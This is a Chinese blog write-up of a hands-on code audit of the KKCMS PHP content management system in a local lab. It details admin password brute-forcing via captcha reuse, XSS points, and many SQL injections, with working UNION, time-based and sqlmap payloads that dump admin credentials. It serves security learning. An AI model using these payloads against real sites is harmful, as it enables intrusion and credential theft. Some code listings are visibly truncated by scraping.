记一次较为详细的某CMS代码审计

前言

本次审计的话是Seay+昆仑镜进行漏洞扫描 

Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。

昆仑镜官方地址

https://github.com/LoRexxar/Kunlun-M

环境

KKCMS环境搭建

KKCMS链接如下

https://github.com/liumengxiang/kkcms

安装的话正常步骤就好,即

1、解压至phpstudy目录下
2、访问install
3、新建kkcms数据库,然后在安装的时候用这个数据库
4、安装完成,开始审计

目录结构

记一次较为详细的某CMS代码审计_第1张图片

常见的目录结构,简单了解一下其作用

admin 后台管理目录
css CSS样式表目录
data 系统处理数据相关目录
install 网页安装目录
images 系统图片存放目录
template 模板
system  管理目录

代码审计

记一次较为详细的某CMS代码审计_第2张图片

对扫描出的开始进行审计

验证码重用

admin/cms_login.php

源码如下


验证码的校验代码

  if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }

不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转,重新回到登录处,此时验证码也会被更新。我们进入前端界面看一下

记一次较为详细的某CMS代码审计_第3张图片

发现验证码js对应处存在文件,跟进查看一下


该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后,了解到

Burpsuite默认不解析js

因此我们这里就可以借助bp抓包,摒弃js,对用户名和密码进行爆破 

抓包后发送到instruct模块,在密码处添加变量

记一次较为详细的某CMS代码审计_第4张图片

而后添加一些常用的弱口令密码

记一次较为详细的某CMS代码审计_第5张图片

开始爆破

记一次较为详细的某CMS代码审计_第6张图片

成功爆破出密码

XSS

wap/shang.php

使用昆仑镜进行扫描,得到结果

图片

结合Seay,查看该文件代码

记一次较为详细的某CMS代码审计_第7张图片

可以看到直接输出了$_GET['fee'],因此我们这里直接传入一个xss语句尝试触发xss payload

fee=

记一次较为详细的某CMS代码审计_第8张图片

wap/seacher.php

昆仑镜扫描

图片

利用seay查看源码

//这只是一部分,具体的师傅们可自行查看此文件




搜索<?php echo $q?>-<?php echo $xtcms_seoname;?>
,">
">

可以发现这里这个变量$q直接被输出了,这个$qPOST上传的wd参数,因此我们这里POST上传wd参数,给它赋值一个xss语句的话,应该是可以进行XSS的,我们试着去构造一下

wp=

记一次较为详细的某CMS代码审计_第9张图片

成功触发XSS

wap/movie.php

//部分源码



$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
 href="?m=/dianying/list.php?rank=rankhot">最近热映 
 href="?m=/dianying/list.php?rank=createtime">最新上映        
 href="?m=/dianying/list.php?rank=rankpoint">最受好评

存在可控参数$_GET['m']$_GET['page'],开头引用了inc.php,试着找一下输出语句。发现输出语句


发现被函数getPageHtml包裹了,跟进查看

function getPageHtml($_var_60, $_var_61, $_var_62)
{
 $_var_63 = 5;
 $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
 $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
 $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
 $_var_64 = $_var_60 - floor($_var_63 / 2);
 $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
 $_var_65 = $_var_60 + floor($_var_63 / 2);
 $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 $_var_66 = $_var_65 - $_var_64 + 1;
 if ($_var_66 < $_var_63 && $_var_64 > 1) {
  $_var_64 = $_var_64 - ($_var_63 - $_var_66);
  $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  $_var_66 = $_var_65 - $_var_64 + 1;
 }
 if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
  $_var_65 = $_var_65 + ($_var_63 - $_var_66);
  $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 }
 if ($_var_60 > 1) {
  $_var_67 .= '
  • 上一页
  • ';  }  for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {   if ($_var_68 == $_var_60) {    $_var_67 .= '
  • ' . $_var_68 . '
  • ';   } else {    $_var_67 .= '
  • ' . $_var_68 . '
  • ';   }  }  if ($_var_60 < $_var_65) {   $_var_67 .= '
  • 下一页
  • ';  }  return $_var_67; }

    跟进查看后也没有发现输出点,结果网页端js代码再看看 传参

    http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111
    

    查看源代码,Ctrl+f?m=111查找对应js代码

    记一次较为详细的某CMS代码审计_第10张图片

    找到js代码

  • 4
  • 5
  • 下一页
  • 尝试直接闭合a标签执行xss语句,构造payload如下

    ?m=">
    

    记一次较为详细的某CMS代码审计_第11张图片

    成功触发xss 

    同类XSS文件如下

    wap/tv.php
    其对应输出代码如下
    
    
    wap/zongyi.php
    其对应输出代码如下
    
    
    wap/dongman.php
    其对应输出代码如下
    
    

    system/pcon.php(失败)

    图片

    发现这里有个echo 变量的,利用Seay跟进一下这个文件

    
    
    
    0){
    $tiaourl=$cc.$_GET['play'];
      }
    else{
    $tiaourl=$dd.$_GET['play']; 
      }
    }
    }
    ?>
    uaredirect("wap/");
    
    

    此时发现可控变量play,如果让他变为xss恶意语句,就可能会实现xss,但我们这个时候看一下最上面,发现有一个if语句

    if ($xtcms_pc==1){
    

    它这个条件为true后执行的语句,不仔细看的话甚至都找不到结尾处在哪,经过仔细查看后发现在最后

    记一次较为详细的某CMS代码审计_第12张图片

    这里的话也就是说,我们只有满足了$xtcms_pc==1这个条件,才能够成功的往下执行,进而利用play参数构造xss语句,因此我们此时就需要跟进这个$xtcms_pc变量,全局搜索一下

    记一次较为详细的某CMS代码审计_第13张图片

    发现变量赋值点,跟进查看

    记一次较为详细的某CMS代码审计_第14张图片

    简单看一下这里的代码,发现这个结果是从SQL查询处的结果取出的,而SQL语句不存在变量,因此这里的话我们是不可控的,所以这里的话应该是不存在XSS的,G

    admin/cms_ad.php

    登录后台后发现有个广告管理界面

    记一次较为详细的某CMS代码审计_第15张图片

    发现这里可以设置名称和广告内容,尝试在名称处插入xss语句

    记一次较为详细的某CMS代码审计_第16张图片

    发现此时成功触发了xss语句,那么这里的话应该是直接将广告名称进行了输出,我们查看后端代码,验证一下

    
    
    
    
    
    
    名称
    
    请输入广告名称
    
    内容 请输入广告的内容<a href="网址" target="_blank"><img src="图片地址" style="width:100%"></a>
    广告位置 ">

    后端名称处代码为

    
    

    可以发现这里只是限制了长度为60,其他没有什么限制,输出广告内容的代码是

    $result = mysql_query('select * from xtcms_ad order by id desc');
    while($row = mysql_fetch_array($result)){
    ?>
    
    
    

    这里的话是取出结果,然后将结果赋值给$row,最后输出了$row['id']$row['name'],正如同所说的一样,不存在过滤点,因而导致了XSS的出现 

    而你此时大概看一下代码的话,它的内容也是如此,内容是在加载页面的时候出现的,这个时候我们可以用img来构造一个xss恶意语句

    记一次较为详细的某CMS代码审计_第17张图片

    此时随便访问首页的一个视频

    记一次较为详细的某CMS代码审计_第18张图片

    成功触发XSS

    youlian.php

    设置了addslashes函数防止SQL注入,但并未防止XSS,我们构造payload如下

    xss
    

    记一次较为详细的某CMS代码审计_第19张图片

    后端查看就会发现

    记一次较为详细的某CMS代码审计_第20张图片

    XSS被触发

    admin/cms_kamilist.php

    //部分源码
    
    
    
    使用情况
    已使用 未使用      
    
    "/>
    
    ">导出
    
    

    关注

     value=""
    

    发现这里参数id没有什么防护,虽然开头涉及了inc.php,但那个是防护SQL注入的,不影响xss。我们这里如果能够闭合语句的话,似乎就可以触发XSS了。payload

    id=">
    //此时的语句就是 value=" ?>"
    

    结果如下

    记一次较为详细的某CMS代码审计_第21张图片

    wx_api.php

    class wechatCallbackapiTest
    {
     public function valid()
        {
            $echoStr = $_GET["echostr"];
            if($this->checkSignature()){
             echo $echoStr;
             exit;
            }
        }
    

    可以发现这里的参$_GET['echostr']不存在防护,在传入后经过一个if语句直接进行了输出,我们跟进一下这个if语句了的checkSignature函数查看一下

     private function checkSignature()
     {
            // you must define TOKEN by yourself
            if (!defined("TOKEN")) {
                throw new Exception('TOKEN is not defined!');
            }
            
            $signature = $_GET["signature"];
            $timestamp = $_GET["timestamp"];
            $nonce = $_GET["nonce"];
              
      $token = TOKEN;
      $tmpArr = array($token, $timestamp, $nonce);
            // use SORT_STRING rule
      sort($tmpArr, SORT_STRING);
      $tmpStr = implode( $tmpArr );
      $tmpStr = sha1( $tmpStr );
      
      if( $tmpStr == $signature ){
       return true;
      }else{
       return false;
      }
     }
    

    发现这里大概是个检验token的,传个空对应的md5值应该就可以,尝试xss payload

    ?echostr=&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
    

    记一次较为详细的某CMS代码审计_第22张图片

    SQL

    bplay.php

    0){
    if(!isset($_SESSION['user_name'])){
      alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
     };
        $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
         if($row = mysql_fetch_array($result)){
      $u_group=$row['u_group'];//到期时间
         }
     if($u_group<=1){//如果会员组
     alert_href('对不起,您不能观看会员视频,请升级会员!',''.$xtcms_domain.'ucenter/mingxi.php');
     } 
    }
    include('system/shoufei.php');
    if($d_jifen>0){//积分大于0,普通会员收费
     if(!isset($_SESSION['user_name'])){
      alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
     };
        $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
         if($row = mysql_fetch_array($result)){
         $u_points=$row['u_points'];//会员积分
         $u_plays=$row['u_plays'];//会员观看记录
         $u_end=$row['u_end'];//到期时间
      $u_group=$row['u_group'];//到期时间
         } 
    
          if($u_group<=1){//如果会员组
         if($d_jifen>$u_points){
      alert_href('对不起,您的积分不够,无法观看收费数据,请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
        }  else{
    
        if (strpos(",".$u_plays,$d_id) > 0){ 
    
     } 
     //有观看记录不扣点
    else{
    
       $uplays = ",".$u_plays.$d_id;
       $uplays = str_replace(",,",",",$uplays);
       $_data['u_points'] =$u_points-$d_jifen;
       $_data['u_plays'] =$uplays;
       $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
    if (mysql_query($sql)) {
    
    alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
    }
    }
     
    }
    }
    }
    if($d_user>0){ 
    if(!isset($_SESSION['user_name'])){
      alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
     };
        $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
         if($row = mysql_fetch_array($result)){
         $u_points=$row['u_points'];//会员积分
         $u_plays=$row['u_plays'];//会员观看记录
         $u_end=$row['u_end'];//到期时间
      $u_group=$row['u_group'];//到期时间
         }   
    if($u_group<$d_user){
     alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
    }
    }
    function get_play($t0){
     $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
     if (!!$row = mysql_fetch_array($result)){
    return $row['n_url'];
     }else{
      return $t0;
     };
    }
    $result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
     if (!!$row = mysql_fetch_array($result)){
    $d_scontent=explode("\r\n",$row['d_scontent']);
    //print_r($d_scontent);
    for($i=0;$i
    

    这里的话可以看出主要的SQL语句是这句话

    $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
    

    然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件

    记一次较为详细的某CMS代码审计_第23张图片

    跟进这个library.php

    可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入 

    但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入 

    首先我们试着去检测一下字段数,payload如下所示

    play=1 order by 17  //回显正常
    play=1 order by 18  //回显错误
    

    记一次较为详细的某CMS代码审计_第24张图片

    记一次较为详细的某CMS代码审计_第25张图片

    这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位

    play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
    

    记一次较为详细的某CMS代码审计_第26张图片

    可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下

    //查库
    play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
    //查表
    play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
    //查列
    play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
    //查字段
    play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
    

    记一次较为详细的某CMS代码审计_第27张图片

    记一次较为详细的某CMS代码审计_第28张图片

    记一次较为详细的某CMS代码审计_第29张图片

    wap/user.php(失败)

    图片

    结合Seay

    $userid){ 
    alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
    }
    

    看这一处代码

    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
    

    不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示

    wap/login.php

    图片

    扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码

    //展示的仅为一部分
    $u_end){
     $_data['u_flag'] =="0";
     $_data['u_start'] =="";
     $_data['u_end'] =="";
     $_data['u_group'] =1;
     }else{
     $_data['u_flag'] ==$row["u_flag"];
     $_data['u_start'] ==$row["u_start"];
     $_data['u_end'] ==$row["u_end"];
     $_data['u_group'] =$row["u_group"];
     }
     mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
     $_SESSION['user_name']=$row['u_name'];
     $_SESSION['user_group']=$row['u_group'];
     if($_POST['brand1']){ 
    setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365); 
    setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365); 
    } 
      header('location:user.php');
     }else{
      alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
     }
    }
    if(isset($_POST['reg'])){
    $username = stripslashes(trim($_POST['name']));
    // 检测用户名是否存在
    $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
    if(mysql_fetch_array($query)){
    echo '';
    exit;
    }
    $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
    if(mysql_fetch_array($result)){
    echo '';
    exit;
    }
    $password = md5(trim($_POST['password']));
    $email = trim($_POST['email']);
    $regtime = time();
    $token = md5($username.$password.$regtime); //创建用于激活识别码
    $token_exptime = time()+60*60*24;//过期时间为24小时后
    $data['u_name'] = $username;
    $data['u_password'] =$password;
    $data['u_email'] = $email;
    $data['u_regtime'] =$regtime;
    if($xtcms_mail==1){
    $data['u_status'] =0;
     }else{
    $data['u_status'] =1;
     }
    $data['u_group'] =1;
    $data['u_fav'] =0;
    $data['u_plays'] =0;
    $data['u_downs'] =0;
    //推广注册
    if (isset($_GET['tg'])) {
     $data['u_qid'] =$_GET['tg'];
     $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
    if($row = mysql_fetch_array($result)){
    
    $u_points=$row['u_points'];
    }
    

    不难发现这里的SELECT语句有以下几个

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
    $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
    $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
    

    但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    

    它这个不难发现,$u_name$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

    记一次较为详细的某CMS代码审计_第30张图片

    然后将内容复制到一个txt文件中

    记一次较为详细的某CMS代码审计_第31张图片

    我这里保存在sqlmap目录下

    记一次较为详细的某CMS代码审计_第32张图片

    而后打开sqlmap,输入如下payload即可

    python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
    

    记一次较为详细的某CMS代码审计_第33张图片

    可以看到存在延时注入,成功爆破出数据库

    vlist.php

    在这个界面,用单引号测试一下发现跟正常界面有所不同

    记一次较为详细的某CMS代码审计_第34张图片

    看一下后端代码

    
          
                 '.$row['c_name'].'';
      }
    ?>
    

    这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下

    python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
    

    记一次较为详细的某CMS代码审计_第35张图片

    后端文件

    记一次较为详细的某CMS代码审计_第36张图片

    扫出多个后端文件存在SQL注入,接下来逐一进行检测

    admin/cms_admin_edit.php

    源码如下

    //部分代码
    
    
    

    这里的话重点关注肯定是SQL语句,也就是这句话

    $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
    

    发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下

    id=1 
    

    记一次较为详细的某CMS代码审计_第37张图片

    id=1 and sleep(5)
    

    记一次较为详细的某CMS代码审计_第38张图片

    发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示

    admin/cms_login.php

    这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。

    admin/cms_user_edit.php

    //部分代码
    
    
    

    一眼顶真,无包裹方式,存在SQL注入

    id = 16 and sleep(5)
    

    记一次较为详细的某CMS代码审计_第39张图片

    具体不再演示,此类的我将其列在一起,具体如下所示

     admin/cms_nav_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
     
     admin/cms_detail_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
     
     admin/cms_channel_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
     
     admin/cms_check_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
     
     admin/cms_player_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
     
     admin/cms_slideshow_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
     
     admin/cms_ad_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
     
     admin/cms_link_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
     
     admin/cms_usercard_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
     
     admin/cms_youlian_edit.php
     其SQL语句如下
     $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
    
    

    admin/cms_user.php

    
    if (isset($_GET['key'])) {
    $sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
    $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
    $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
    }
    

    这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二

    admin/cms_detail.php

    if (isset($_GET['cid'])) {
     if ($_GET['cid'] != 0){
      $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
      $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
      $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
     }else{
      $sql = 'select * from xtcms_vod order by d_id desc';
      $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
      $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
      }
    }
    

    这里的话关注这里

    $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
    

    这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入

    cid=1) and sleep(1) --+
    //此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)
    

    记一次较为详细的某CMS代码审计_第40张图片

    记一次较为详细的某CMS代码审计_第41张图片

    根据回显时间可以看出此处是存在SQL注入的

    admin/cms_kamilist.php

    
    if (isset($_GET['c_used'])) {
     $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
     $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
     $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
    }
    

    这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。

    ucenter/index.php

    //部分
    
    
    
    

    这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处 

    类似这种的还有

    ucenter/kami.php
    其SQL语句如下
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    
    ucenter/chongzhi.php
    其SQL语句如下
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    
    ucenter/mingxi.php
    其SQL语句如下
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
    

    ucenter/cms_user_add.php

    源码为

    双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有

    ucenter/return_url.php
    其SQL语句如下
    $order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');
    
    ucenter/password.php
    其SQL语句如下
    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    
    ucenter/reg.php
    其SQL语句如下
    $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
    
    ucenter/login.php
    其SQL语句如下
    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
    
    ucenter/mingxi.php
    其SQL语句如下
    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
    

    ucenter/repass.php

    源码为

    这里的话我们看到参数name

    $username = stripslashes(trim($_POST['name']));
    

    这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload

    python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
    

    但很怪,我自己的没有跑出来数据

    图片

    而我参考其他师傅的文章后发现他们的可以跑出来。

    payload如下

    name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='[email protected]&password=111&submit=
    

    记一次较为详细的某CMS代码审计_第42张图片

    类似这种的还有

    ucenter/active.php
    其SQL语句如下
    $verify = stripslashes(trim($_GET['verify']));
    $nowtime = time();
    $query = mysql_query("select u_id from xtcms_user where u_question='$verify'");
    
    ucenter/reg.php
    其内SQL语句如下
    if(isset($_POST['submit'])){
    $username = stripslashes(trim($_POST['name']));
    $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
    
    

    总结

    本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

    参考文献

    https://xz.aliyun.com/t/7711

    https://xz.aliyun.com/t/11322#toc-2

    你可能感兴趣的:(学习,网络安全,安全,web安全)